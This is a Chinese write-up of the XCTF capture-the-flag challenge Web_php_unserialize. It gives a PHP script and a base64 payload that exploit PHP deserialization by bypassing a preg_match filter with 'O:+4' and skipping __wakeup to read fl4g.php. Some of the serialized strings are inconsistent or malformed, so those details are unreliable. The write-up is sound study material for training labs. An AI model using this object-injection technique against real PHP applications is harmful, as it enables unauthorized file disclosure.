IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 攻防世界web进阶_Web_php_unserialize -> 正文阅读

[PHP知识库]攻防世界web进阶_Web_php_unserialize

查看代码

首先定义了一个Demo类,

?

有一个注释,提醒我们flag在fl4g.PHP中,

Demo中的_destruct?如果Demo类被销毁,那么就会高亮显示file所指向的文件的内容

_wakeup当进行反序列化时 自动执行所以要绕过_wakeup

?

?变量var的传入? 首先进行base64加密? 然后preg_match匹配函数

如果匹配上 就“stop hacking”

否则unserialize($var)

preg_match('/[oc]:\d+:/i', $var)
preg_match()匹配的为 o或c : 任意长度数字(至少一个) /i表示匹配时不区分大小写

所以我们要做的是

preg_match匹配函数绕过,_wakeup绕过

我们对所给的类进行反序列化

O:4:"Demo":1{s:10"Demofile";s:8:"fl4g.php";}

绕过preg_match 将4改为+4

绕过_wakeup? 将1改为2

O:+4:"Demo":3:{s:10:"Demofile";s:8:"fl4g.php";}

然后进行base64编码

TzorNDoiRGVtbyI6Mzp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

?直接进行base64编码 不对,序列化出来的字符串中是有一个看不见的字符/n

代码在线编辑,代码在线运行,在线写代码工具

<?php?
class Demo {?
? ? private $file = 'index.php';
? ? public function __construct($file) {?
? ? ? ? $this->file = $file;?
? ? }
? ? function __destruct() {?
? ? ? ? echo @highlight_file($this->file, true);?
? ? }
? ? function __wakeup() {?
? ? ? ? if ($this->file != 'index.php') {?
? ? ? ? ? ? //the secret is in the fl4g.php
? ? ? ? ? ? $this->file = 'index.php';?
? ? ? ? }?
? ? }?
}
? ? $A = new Demo('fl4g.php');
? ? $C = serialize($A);
? ? //string(49) "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"
? ? $C = str_replace('O:4', 'O:+4',$C);//绕过preg_match
? ? $C = str_replace(':1:', ':2:',$C);//绕过wakeup
? ? var_dump($C);
? ? //string(49) "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}"
? ? var_dump(base64_encode($C));
? ? //string(68) "TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ=="
?>
?

运行代码可得到base64加密

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-12-13 12:35:45  更:2021-12-13 12:36:07 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/13 14:28:52-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码